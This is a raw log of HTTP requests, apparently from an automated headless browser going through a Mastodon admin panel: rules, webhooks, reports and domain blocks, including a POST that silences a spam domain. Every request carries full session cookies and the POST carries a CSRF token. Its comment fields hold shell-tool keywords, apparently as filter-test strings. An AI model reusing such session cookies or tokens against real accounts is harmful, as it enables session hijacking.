_mastodon_session=cIskdpErqjQxTYnHGuTERxVtPRw1KfyZw1vZuXP9OwJqp8P%2FzOxtx34A9u0ewTnzsBU0yDI%2FlNJoCX9rOpgGLsua49XZBrZYsQnHEsPA2C%2FKAsh0Bwsinbz6ubX%2F%2B2LQNw4Oy4m%2F54GtYIJueALcGGhHjAtULWM9uJ1HRKj7%2BSUr1S%2B%2FuQGzwGhfSF1UMPfsbi%2FM1kxtiCvPZcBHvxKsBoKsZ5Ozb9xOSatcugHBy4Y3b2HR3cW0sHhH8DOjyO1pt5bSwDjgfVYis1QEwuiZYaPNO7VoyDkjfMnfyH0D0RsggXamY1ItaFBxrzJ9DOWmihcYE7ZPmXywXaWcwiEvTzWP4UDZht8JIiO%2Bt5PrAkIIhmkbz2KDqx%2BS%2Fpnb9K00YH1Ec%2FEYvRBx--fGe7ehdTVIBj8H0Q--yVnguTal69ryW8c4BNFIeQ%3D%3D"], "body": ""}
{"method": "GET", "target": "/admin/rules", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6MDAuMDczWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--942434b61d50b3c527aad2664ca14b94d2221ead; _mastodon_session=bYnycQMY5qiM39c74S1GA05HxzfVtKiyrnHjCnsUGdh2zG2FhWHR0ZxqlR6PUZBttX5YAUqzBDiO72SNvRqUd6Nv55KIqDir7S284R%2BWOAGpEjhtqZ7M2eY3%2BUHZ9JkjA%2BFGq3P8xVid1oDDL0aBdhYbXTVs9FnWB6Kpj07Gh8PiaiEP%2B85DJp6VAMjgUZTQHOVvNUuQoOronACMIHSmLl4aBpV%2Fz8mDt5tNwHC11Djpeh1p%2FijXt%2FZJWu4LC3UA2Ob7K3Q7RZgzr5v6axigz%2FONjZ3Nh5u9KNIov7PWvv9HCvGOrRkvGkXFbZ2sPFp8AHU8gjCdz%2FrmSJdeP8brljI2B%2B7o4PPeDSLktoZ8gQviRkWM%2BYTstWjz5QAHS0Fm7KEbd2mAN84x--zeJcEdwvN7%2BuWYpc--UzKBsZ820OZrsahO5z4DZA%3D%3D"], "body": ""}
{"method": "GET", "target": "/admin/announcements", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6MDMuMDE4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--c9fa1e040339894c6785bcadeaabcf556417a006; _mastodon_session=ToR1W6l%2FudKsCEUpS%2BBeS%2BWFeYRHFbkYT%2F9E4XcGcyR5s9FDbkDIWnoXeweF547hyZ4rtPM%2BhYbBYu%2FzhPl5WF48%2FDDHHHFTYF6HD38EZlR0sALgHV6KgBpirM1s4Dm1uFhLzInspzuldFfBOBe2cmRVqxbAlLxZw0jsb0KSZ%2BQkhvzIn%2F509CzJThqR3XZzigW%2BHg8HRQVengAL9PBDpb79qtmRiz4DK0CDEc6pgPT7F7jB5j2vDvIYnfuNyrCYQDK9j3WozZgz6urg0wpidYhCRzAYNvB8aWVc%2BIWlLPNqtaOAO6nCDZyb1v4R1mDKkBAaU6QX7sZfBAVQ82ULVftPGVVFXqmfl6YPe9GY6RFav6kPaoVmKspaYoK9cyymRxRSA%2F%2BKUb3x--c2LWLc806nMJkgrg--t168hdH6FtZRep%2BixjNbxw%3D%3D"], "body": ""}
{"method": "GET", "target": "/admin/webhooks", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6MDYuMDI5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--cc7a8fd61fec7b2f55af34e70367e7dd85957ad3; _mastodon_session=u2JgU9Ik%2BkfWUq8KMct%2FE%2FQwvIGLXFyjZq3dY%2B3dFN8LWw7TJS597QlwkGj%2BYYihEkS7cJ963I1LBl4HOR%2BSOD7cORUU8PVImoQ6dDee1KiboqqILoXGy2%2FtYUPo8NZXBqG2ytw%2FEFnHmk0el4msVb9mwGi7bJKgdUkaBD6PTmuW6o4bVbmZ8ZYgt7IVGJaWb%2BryncBXnABZd6e4ZJyI56iiQDLqiDy6xUr5q8Vp%2BGds%2FO4oP8rvz4DBl7%2BfO67H6UEFz6bp6Y%2BVeA1IaG8OsjAiOZ1pRx%2BAPsZWYNkUP1ELe5L%2F3N0A6Wzp0LwJ5qDcZYejgwRNKoAPgnfG2OC4KZW6SkV2k%2B77TsweMwgl3WyMur2YZMnAqriuBN818Aad7LqO8d9WbDFN--mp%2B9I3RwgY4KX3J%2F--87TZw6ig9eW9RoDocZJDGg%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/preload-helper-HclGiUj8.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/webhooks", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6MDkuMDM1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a1f60da3bede3da55b897b74893513074e95154f; _mastodon_session=o5k4YXJeWOoS41GrQEwY9Q7FlMoRWIxFjrer%2BRkN72hM38uN%2B%2Fl0xc1uxSbB6NmtklKb2Bn2r6csSHqyqErjGpALh4S6RcUovqCrgo7Zy7OH0pa9%2F2YHAa7klhs2bi98758saOVf6B07RSa0NI5%2BkmE10Q6auafWoesg9ZOErnWbItZ38ETX12%2B4R7Xav2S4PpT%2BxI5giigLVJBMXrYebPMajcb1%2BztQ4Ik7PEhQhkzmF6KW0PHLJQvwNn46EMGoqJWSEjx%2B5SCwmW86egJXWKmU0I7es46yJVIDlj7DAUgv2CxJGn%2BxYfq9D3Qv0lwUbSyVgwNTtqRBe9%2Fn4Uimm%2F%2FzOLqXru5w4eewDpxyjwMAvtnA11Q51YH0wJWrM21J3buNZywCQ%2BhU--GwqTSSVV9kJ3e8YE--2B8wWkxMprnnDQu3%2Ff0FUg%3D%3D"], "body": ""}
{"method": "GET", "target": "/admin/software_updates", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6MDkuMDM1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a1f60da3bede3da55b897b74893513074e95154f; _mastodon_session=o5k4YXJeWOoS41GrQEwY9Q7FlMoRWIxFjrer%2BRkN72hM38uN%2B%2Fl0xc1uxSbB6NmtklKb2Bn2r6csSHqyqErjGpALh4S6RcUovqCrgo7Zy7OH0pa9%2F2YHAa7klhs2bi98758saOVf6B07RSa0NI5%2BkmE10Q6auafWoesg9ZOErnWbItZ38ETX12%2B4R7Xav2S4PpT%2BxI5giigLVJBMXrYebPMajcb1%2BztQ4Ik7PEhQhkzmF6KW0PHLJQvwNn46EMGoqJWSEjx%2B5SCwmW86egJXWKmU0I7es46yJVIDlj7DAUgv2CxJGn%2BxYfq9D3Qv0lwUbSyVgwNTtqRBe9%2Fn4Uimm%2F%2FzOLqXru5w4eewDpxyjwMAvtnA11Q51YH0wJWrM21J3buNZywCQ%2BhU--GwqTSSVV9kJ3e8YE--2B8wWkxMprnnDQu3%2Ff0FUg%3D%3D"], "body": ""}
{"method": "GET", "target": "/admin/reports?account_id=1&by_target_domain=remote.example", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6MTEuOTc1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--f8f48d6fc5c5849f392e9bc6b8d5da797ade9c9a; _mastodon_session=a7cCxC11AN4BN3rzwaCFxQ9elpBLvQ1wL8KOJXlq%2Bt0YsmVwCU%2BVgw9YOJXb1bFZ781IVd7yksZR4KwBs1hJjzqUf9C6r770Daywl8QWV9aOkG7VIx%2FEtuljehSJzBIzHwb10%2FQ7DCKmi9hCRl7V3XaLpq2TQ%2BpPxK%2B%2BU2AW8TOrTIFS7HeyiLRbagLRjNGSrHUWiTNq5SPoFsnTVL2yiuwCdg%2B6apAobvqqBWnq04omGviuF4jMYFWWjp1VLfzAqHJrmpZ2QwPSEwwNTQRqo%2B1j4yXMo3GZNMZNLMSy6H3dIAWK%2Bb1zIvljiYyYYjiIH9hWJSMjtvUf8znTGDCStgEoOwWi6%2BHhqta5KNa%2Ft5gML2VUDx2PL23wk7hvDy4XcC9hq4czhm%2Bc--%2F%2BQ5oY%2BEs7naFB0v--LSKMfS8I9QvQVOu3Z8apcw%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/react-intl-DlKP8ATg.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/reports?account_id=1&by_target_domain=remote.example", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6MTQuOTIyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--d275051beb5595d22689d10cceb2e1c32fb0d5b5; _mastodon_session=jBpFFWl%2BctVtGmCoceKzST%2BHujKcGv4opwiO2LzH6YSKB7MyWIoEsbyECWKc2Vy5BreItYbaGKA5fP6dNZrULLLsO5ssYY4zPVGzD7Rs4HcASnDGYKLgWd03RKn4XIeUCwgVCAoO%2FxprmLkFUGpJ2%2FTmNrm3cxVWTVO9XHbod%2BKUXQ1tS4TcTx0n50dagkWtBCIo0tptXULjacCvOKzt%2FyzjcHYBKQf332IYI%2BgMAjyTRgeulRzJF26SQIIWGeFii48Krhipn7k5dYEVQePt%2BA8W92Lznvj%2FynO%2Bc5bsW%2FXuX0iZVvZG8yxGk5c%2B8jjvG9Bgryi9y4M7KNQO3nJ0hvGCKd5FTUxA%2F6XQWJEH5jGejrB7XZ54AcdSOTVIs%2BIPxgCHe98uXCH7--6QuaxzY36VH2CNN8--v%2ByIa%2FubfphSWiPYHaN3Pg%3D%3D"], "body": ""}
{"method": "GET", "target": "/admin/export_domain_blocks/new", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6MTQuOTIyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--d275051beb5595d22689d10cceb2e1c32fb0d5b5; _mastodon_session=jBpFFWl%2BctVtGmCoceKzST%2BHujKcGv4opwiO2LzH6YSKB7MyWIoEsbyECWKc2Vy5BreItYbaGKA5fP6dNZrULLLsO5ssYY4zPVGzD7Rs4HcASnDGYKLgWd03RKn4XIeUCwgVCAoO%2FxprmLkFUGpJ2%2FTmNrm3cxVWTVO9XHbod%2BKUXQ1tS4TcTx0n50dagkWtBCIo0tptXULjacCvOKzt%2FyzjcHYBKQf332IYI%2BgMAjyTRgeulRzJF26SQIIWGeFii48Krhipn7k5dYEVQePt%2BA8W92Lznvj%2FynO%2Bc5bsW%2FXuX0iZVvZG8yxGk5c%2B8jjvG9Bgryi9y4M7KNQO3nJ0hvGCKd5FTUxA%2F6XQWJEH5jGejrB7XZ54AcdSOTVIs%2BIPxgCHe98uXCH7--6QuaxzY36VH2CNN8--v%2ByIa%2FubfphSWiPYHaN3Pg%3D%3D"], "body": ""}
{"method": "GET", "target": "/admin/disputes/appeals", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6MTcuODcwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--9fd1d5395984fbc93115a003dc2f5feb3bfdb6e8; _mastodon_session=KnoGYlZNUqNlDcPH29Nu4ZzssotIZUoyb39E8pIB6cKpPYgNko%2FqU7zOXyMNEzN8BjccwaSkegDMGiJaHLU9dv7RVRxCoXSbC%2FCoT2dh3rBe7okRwBV16YzvnoLeI5pVewIHF7nrIYiS8DL8yfksmRnNG6suqE0P6oLJ6DMAn6twrzXxfTI4h7X7DX%2BKX8MchiuvRz9zlRVGSkWa%2F61iZcy9z9xYJwUP4WOc%2B0opxM8NRp5vfpRo%2BUfHFUz0t7Rdyum54%2BCMn01FqOucM29pXAEDdcmlYWiyYE0r40IMuh9Y0VaRGNERjLRMnQQWsAMEaAw%2BMQEaAaD%2FBlYET5LoPjYsA09tl1ddyzgdndOIFPrxsAy6y4owbqiPNDAV1Pgvn3bJKwDR6Ctb--agW9qaXyj4v2qBpc--p4NTjZg51mj%2Fod%2BCzuS9hw%3D%3D"], "body": ""}
{"method": "GET", "target": "/admin/domain_blocks/new", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6MjAuNzg0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--ed721bbbb2d9124fb2e0fc314dcc9be200d97feb; _mastodon_session=SYfZrl1eoDRqYsBX45RjN1sEc2KfJIc1AhA9b9avpS7E%2B3K%2BMdbYI6mXyjZAK3GYrhUVKUprAa0P0HNhMwTBAyQjMgXkpN8OtlwptTcr%2Fq%2BJF3r0N%2BFt10lE1P1F7%2F0x61F4ZKl%2FOY%2BSlFQTZmehAyDgAEjvZe%2BhR5XTozPlmPiNWFjjKk8N3nYEPJKhjH1S3d2AnZkMpJiySNqjUxqjHHaoKKCDoN8MdClBXVhzbqA9U0Si01JojkZ4dHgYnll8Q%2B70UYb39vtBE%2FjB6j1lMvv9wiEdldwAcJnnQdG7PeLcX%2BmiMPTgSUG8GtxFdrl5SsqeAcOiGmYYoCkVCCwAAFPGpLLN020G%2BSDGf9ZLHqqM%2FP%2FlAIGAUxnirpHOtELBACxJMaTWWQzm--9WhJFpREG%2FQVpqmW--tS5yQYdHw43sIfVGop0mvQ%3D%3D"], "body": ""}
{"method": "POST", "target": "/admin/domain_blocks", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 417", "Cache-Control: max-age=0", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Origin: https://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/domain_blocks/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6MjMuNjUxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--fd8b38c917501c2f290e8defb6ae94bca81cb8b5; _mastodon_session=9ecnXqXjQVlrdj%2F17pFj491EKuwe%2FNSjmcH0bjkejo3WHRPIMcUQDmGtj3QQuUxAZqD0ogSFiVx1rTNiA43IEJtBWO4BNBTEvlZkc71bbqdZwsbiQpaiNAliZMm0wzmjc1eJ9tp51OwcmtUlLegw30vc0jmasFzl4hLxLYb2tmVHuJFalA4aavaaFgdhEocyakQqNqcDgGC1YPRjgytp%2FxPgXIU3A9iWol0uKwzZTIIuxxIuJtnrB%2FkDeSJzms%2BYy3sGVpJF1%2FwXn0GKn3mCcl1yeX9LlKIcemz1bFoi34Kbb6gcy7CgHTGRWr3FoE%2BhnwxlFPpY2ds%2Fwcu5z3LQuOabikDBl7DAkel6wFu0PqAbeA6idP3boa3qbu8fst%2B6Bp3kKantb5C2--NCY5nKqIuqqWT54J--iBHWxM8QkgE4NDZ2KCa7jg%3D%3D"], "body": "authenticity_token=cYCUlPaS9BWRo4FpRghW7EC_AgXSfF2uaFaXk72Rr274f9x5R1_IFKRO6aru9k25bv4h6rw3a8fEc_xWxm2s_A&domain_block%5Bdomain%5D=spam.example&domain_block%5Bseverity%5D=silence&domain_block%5Breject_media%5D=0&domain_block%5Breject_reports%5D=0&domain_block%5Bobfuscate%5D=0&domain_block%5Bprivate_comment%5D=Spam+about+python3+and+ls+-la&domain_block%5Bpublic_comment%5D=Spam+about+powershell+and+.htaccess&button="}
{"method": "GET", "target": "/admin/instances?limited=1", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/domain_blocks/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6MjYuNjcxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--aab3f883940745643f9781a544c98174a3cc09b3; _mastodon_session=NOScc1SbwlMxCaWBQq4CP8k4N0KvCGYeZbpb33TSxPqwGV4Dk2Fn5nGruOxWN5l4q9yWwrbWNvwBBiwITZ66DRLQpbcA2zMCjF0MLzDlhzwsk7kZNA3eviDkcJtTsaj0vGbV979Dz71iXReSra%2BVAx99wWdI46H2D8QpIxBX9cbqVAcAuT8TBsgrOpoW7YpIK4G85rVuvi8xCN22tfB2l7IUjAXPN8z71c%2F4LmJQ1ql6ShOb%2FG0T%2FnLhlGWbsxDxx6ipbakFPZAfLCu62DgcQCUIsfLZUSM%2FJDMCPf0bf7x%2B85ID%2F0AcCYok8BhjVWE0kdamNmuaRiVQ83UVHgVqFTNF4UBMsbBr%2Bju5lYnRDm0tDWjz1a32PI2CT5NPPkW6O%2FT%2BNqghmKNq%2Fb7bnw9exybLzzmOVssgYiaVJI8i1njggL4tu17RoGthPbjKGrXtJ1zAPF%2FE9VCsBHrIbHSOFbOiTU%2BlC6gLm9MDlK5LnZTXGv8L75TNYBeQR%2Fk8a8BXoJSSHbJh5Tny710LTen5%2FmDAu%2BUe--UfFCrUkltKisjKVB--ji9Uj3VKyQOPyrjYpmqHBg%3D%3D"], "body": ""}
{"method": "GET", "target": "/admin/email_domain_blocks/new", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6MjYuNzMwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--1ebb4361e3fcafe449d2b63cf31de85dc82f77bd; 